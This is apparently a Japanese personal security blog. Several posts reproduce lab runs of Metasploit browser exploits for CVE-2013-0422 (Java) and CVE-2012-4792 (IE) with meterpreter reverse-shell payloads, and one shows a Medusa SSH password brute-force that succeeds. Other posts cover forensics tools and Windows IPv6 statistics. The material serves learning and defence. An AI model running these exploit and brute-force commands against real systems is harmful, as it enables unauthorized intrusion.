2013年1月15日火曜日

CVE-2013-0422 Java 7 任意のコードが実行可能な脆弱性

2013年1月10日に Java の脆弱性が報告されていた。
内容としては Java のサンドボックスを回避され任意のコードが実行可能な脆弱性とのこと。
以下 JVN を参照。
http://jvn.jp/cert/JVNTA13-010A/index.html

この脆弱性を利用した metasploit のモジュールがリリースされていたので試してみる。
ソースコードと説明は以下の通り。

ソースコード。
http://www.exploit-db.com/exploits/24045/

metasploit の説明
http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_jmxbean

Rank = ExcellentRanking となっているので期待して試してみる。
クライアントサイドの環境としては Windows XP SP3 / IE8 / Java7u6 となる。


msf > use exploit/multi/browser/java_jre17_jmxbean 
msf  exploit(java_jre17_jmxbean) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_jre17_jmxbean) > set srvhost 192.168.1.1
srvhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set srvport 80
srvport => 80
msf  exploit(java_jre17_jmxbean) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set lport 8080
lport => 8080
msf  exploit(java_jre17_jmxbean) > set uripath java
uripath => java
msf  exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.1:8080 
[*] Using URL: http://192.168.1.1:80/java
[*] Server started.
msf  exploit(java_jre17_jmxbean) > 
msf  exploit(java_jre17_jmxbean) > 
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] Sending stage (30216 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:8080 -> 192.168.1.2:1059) at 2013-01-15 21:20:20 +0900

msf  exploit(java_jre17_jmxbean) > show sessions

Active sessions
===============

  Id  Type                   Information                 Connection
  --  ----                   -----------                 ----------
  1   meterpreter java/java  test @ test  192.168.1.1:8080 -> 192.168.1.2:1059 (192.168.1.2)



成功した。
なお、Java6u15 が手元にあったので試しにそちらを試してみたところ失敗した。
Java7 のみの脆弱性なのかもしれないが、どちらにしても1月15日に修正版がりりーすされているので、そちらを適用するのがいい。

2013年1月8日火曜日

Back Track での sshd の有効化

Back Track をインストールして初めて sshd を起動し、リモートからログインしようと思ってできなかった。
調べてみると単純にサーバの公開鍵がなかっただけ。
なので、下記のコマンドを実行して鍵を生成後に sshd を起動すればよい。

sshd-generate

Back Track のデフォルトの状態では root ログインできるし、iptables もないので、上記コマンドだけ実行すれば問題ないはず。

あとは、下記のようにコマンドラインで起動するかメニューから起動するだけ。

/etc/init.d/ssh start

2013年1月7日月曜日

CVE-2012-4792 Internet Explorer 解放済みメモリ使用 (use-after-free) の脆弱性

CVE-2012-4792 で IE 8 以前の IE に use-after-free の脆弱性が報告されており、metasploit に実行モジュールが提供されていたので実験してみる。

JVNVU#92426910
Internet Explorer に任意のコードが実行される脆弱性
http://jvn.jp/cert/JVNVU92426910/index.html

その前に use-after-free について調べてみる。
日本語に訳すと解放済みメモリ使用。メモリ解放が適切に処理されていないために発生する不具合らしい。
下記のサイトに実験コード付きで解説があった。
https://www.fortify.com/vulncat/ja/vulncat/cpp/use_after_free.html
また下記のサイトによると、一度解放されたオブジェクトが使用していたアドレス空間を再度別な目的で利用するために発生するとのこと。
http://blogs.msdn.com/b/ie/archive/2012/03/12/enhanced-memory-protections-in-ie10.aspx

Metasploit をアップデートしてサーバの設定を入れてみる。

msf > use exploit/windows/browser/ie_cbutton_uaf
msf exploit(ie_cbutton_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_cbutton_uaf) > set SRVHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set SRVPORT 80
msf exploit(ie_cbutton_uaf) > set LHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set LPORT 8080
msf exploit(ie_cbutton_uaf) > set URIPATH ie
msf exploit(ie_cbutton_uaf) > exploit

このあと、Windows XP SP3 の IE8 からアクセスするが exploit は成功しなかった。
IE には「お使いのコンピューターを保護するため Internet Explorer はこの Web ページを閉じました。」と表示されていた。
少し調べてみるとソースコードに以下の文章を発見。

Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.

どうやら日本語ファイアウォールが防御していたらしい。日本語の windows しか手元になかったので今回の検証はここまで。

JVNによると1月7日時点での対応策は以下の二つ。

- Fix it 50971 を適用する
- Enhanced Mitigation Experience Toolkit (EMET) を適用する

EMET は Enhanced Mitigation Experience Toolkit のこと。古いプログラムでは有効にされていないセキュリティ対策を強制的に適用するツール。具体的には DEP、SEHOP、ASLR を適用した状態でプログラムを実行できるらしい。
そのため使用していたアプリケーションが動かなくなる場合があるのは注意が必要。

2012年12月27日木曜日

log2timeline-sift の使い方

SANS が提供する SIFT に入っている log2timeline-sift は HDD のイメージからタイムラインを作成するツール。

使い方は下記にある。
http://computer-forensics.sans.org/blog/2011/12/07/digital-forensic-sifting-super-timeline-analysis-and-creation

コマンドラインの基本的な使い方は
log2timeline-sift -z <time zone> -p <partition #> -i <image>

だが、これだとうまくいかなかった。
環境としては Win7 のパーティションイメージだったので、 -win7 -p 0 にして、なぜかマウントポイントを最後につけたらうまくいった。原因はまったくもって不明、なくてもよかったのかも。

log2timeline-sift -win7 -z Japan -p 0 -i <image_file> <mount point>

コマンドがはいると、「マウントする?」と聞かれるので y を押すと、そのまま解析に入る。
またディスクイメージでパーティションが複数ある場合は街頭のパーティションを選択する。
その場合、-p 0 オプションは不要、またはパーティション番号を入力。

SIFT で実行した場合は下記のフォルダに <image_file>_bodyfile.txt で作成される。

/cases/timeline-output-folder/

作成されたファイルはエクセルなどの表計算ソフトで開くことができる。
かなり大きなサイズになっているので、探したい期間がある程度絞れているなら、l2t_process -b で期間指定し csv ファイルにすると扱いやすい。

l2t_process -b <image_file>_bodyfile.txt 12-01-2012..12-31-2012 > <image_file>_bodyfile.csv




2012年12月20日木曜日

NetworkMiner の使い方

NetworkMiner は NETRESEC が提供する Windows 向けのネットワークフォレンジックツール。
パケットキャプチャ機能もあるが、統計データやキャプチャしたデータから様々なデータを取り出すのに向いている。

下記から実行ファイルがダウンロードできる。インストールは不要で実行ファイルのみ。
http://www.netresec.com/?page=NetworkMiner

ただし、NET Framework 2.0 が必要。あと winpcap も必要らしい。
詳しくは下記サイト。
http://sourceforge.net/apps/mediawiki/networkminer/index.php?title=NetworkMiner

実行ファイルを起動したら、File から pcap ファイルを読み込むことが可能。
読み込むと左のウィンドウに表示されるので選択して下にある Reload Case Files で読み込んであとは勝手に解析してくれる。

よく使いそうなのは Files と Credentials のタブ。
Files はキャプチャファイルの中で送受信があったファイルを復元してくれている。同じようなものに Images タブもある。
Credentials タブにはユーザ名やパスワードなど重要な情報を抜き出してくれる。

解析した結果は実行ファイルがあるフォルダの AssembledFiles の下に作られる。
html ファイルやメールの添付ファイルもここに保存されるため、必要な場合はここから取り出すことが可能。

2012年12月19日水曜日

medusa の使い方

パスワードクラックツールとして有名な medusa の使い方。
ほかにもリモートからのクラックツールとしては hydra とか ncrack が有名だが 機能が充実してそうな medusa を使う。

以下の@ITのサイトを参考にした。
http://www.atmarkit.co.jp/fsecurity/rensai/dknight06/dknight01.html

BackTrack には標準で付属しているためインストールなどは省略。
medusa 以外に必要になるのがユーザ名のリストやパスワードリスト、辞書など。

たとえば以下のサイトは2008年のワーストパスワードトップ500がある。
ここから抜き出しても使用できる。
http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time

以下、オプションで使いそうな部分だけ日本語に。

# medusa 
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  -h [TEXT]    : 検査対象のホスト名またはIPアドレスを指定
  -H [FILE]    : 検査対象のホスト名またはIPアドレスが記述されたファイルを指定
  -u [TEXT]    : 検査するユーザ名を指定
  -U [FILE]    : 検査するユーザ名が記述されたファイルを指定
  -p [TEXT]    : 検査するパスワードを指定
  -P [FILE]    : 検査するパスワードが記述されたファイルを指定
  -C [FILE]    : File containing combo entries. See README for more information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : n を指定するとパスワードなし、s を指定すると Password = Username で検査
  -M [TEXT]    : 検査するモジュール、要は ssh とか ftp とかを指定
  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                 different parameter each time and they will all be sent to the module (i.e.
                 -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : デフォルトではないポートを使用するときに指定、ssh なのに tcp 1000 とか使うとき
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The default is to process 
                 the entire username before proceeding.
  -f           : Stop scanning host after first valid username/password found.
  -F           : Stop audit after first valid username/password found on any host.
  -b           : Suppress startup banner
  -q           : Display module's usage information
  -v [NUM]     : 表示レベルを 0 - 6 で指定
  -w [NUM]     : Error debug level [0 - 10 (more)]
  -V           : Display version
  -Z [TEXT]    : Resume scan based on map of previous scan

先ほどのワースト500のパスワードリストを使って、192.168.0.100 の ssh サーバに設定された root/pasword に対しての実行結果は以下のとおり。

# medusa -h 192.168.0.100 -u root -P 500-worst-passwords.txt -M ssh
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1 
GENERAL: Total Users: 1
GENERAL: Total Passwords: 501

The default build of Libssh2 is to use OpenSSL for crypto. Several Linux
distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately,
the implementation within Libssh2 of libgcrypt appears to be broken and is
not thread safe. If you run multiple concurrent Medusa SSH connections, you
are likely to experience segmentation faults. Please help Libssh2 fix this
issue or encourage your distro to use the default Libssh2 build options.

ACCOUNT CHECK: [ssh] Host: 192.168.0.100 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 501 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.100 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (2 of 501 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.0.100 User: root Password: password [SUCCESS]
GENERAL: Medusa has finished.

これが500ワード全部実行するとログが多くなるので、-v で 4 を指定すると成功のみ表示される。
3以下は結果が出力されない。

# medusa -h 192.168.0.100 -u root -P 500-worst-passwords.txt -M ssh -v 4
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 


The default build of Libssh2 is to use OpenSSL for crypto. Several Linux
distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately,
the implementation within Libssh2 of libgcrypt appears to be broken and is
not thread safe. If you run multiple concurrent Medusa SSH connections, you
are likely to experience segmentation faults. Please help Libssh2 fix this
issue or encourage your distro to use the default Libssh2 build options.

ACCOUNT FOUND: [ssh] Host: 192.168.0.100 User: root Password: password [SUCCESS]

2012年12月12日水曜日

Windows 端末の IPv6 の統計確認

Windows 端末で IPv6 の統計情報(送信や破棄のパケット、エラー等)を見る方法のメモ 。
基本は netsh interface ipv6 show ipstats コマンドで確認する。

C:\>netsh interface ipv6 show ipstats
MIB-II IP 統計情報
------------------------------------------------------
転送:                               無効
既定の TTL:                         128
受信:                               121
着信ヘッダー エラー:                0
着信アドレス エラー:                59
転送データグラム:                   0
不明な着信プロトコル:               0
廃棄された着信パケット:             2
配信された着信パケット:             3194
出力要求:                           3418
ルーティング廃棄数:                 0
廃棄された発信パケット:             0
経路制御不能な発信パケット:         8
再構築のタイムアウト:               60
必要な再構築:                       0
成功した再構築:                     0
失敗した再構築:                     0
成功したフラグメント:               0
失敗したフラグメント:               0
作成されたフラグメント:             0


エラーカウントや失敗したフラグメントなどが上がっていればどこかで設定ミスの可能性がある。
また同様にしてtcpの統計情報を見ることもできる。

C:\>netsh interface ipv6 show tcpstats

MIB-II TCP 統計情報
------------------------------------------------------
タイムアウト アルゴリズム:           Van Jacobson アルゴリズム
最短タイムアウト:                    10
最長タイムアウト:                    4294967295
最大接続数:                          動的
アクティブ オープン数:               30
パッシブ オープン数:                 24
試行の失敗回数:                      6
確立されたリセット:                  14
現在の確立:                          2
着信セグメント:                      638
発信セグメント:                      626
再転送セグメント:                    12
着信エラー:                          0
発信リセット:                        19


ここでタイムアウトアルゴリズムにVan Jacobson アルゴリズムとあるが、これは輻輳防止用アルゴリズム。
このアルゴリズムについては IPv4 も同じものを使用している。
また同様にして udp の統計情報も確認可能

C:\>netsh interface ipv6 show udpstats

MIB-II UDP 統計情報
------------------------------------------------------
着信データグラム:                       1621
無効な着信ポート:                       0
無効な着信データグラム:                 0
発信データグラム:                       3203

また各コマンドは rr=5 とすると5秒間隔で更新される。
ping などで状況確認するときに便利かも。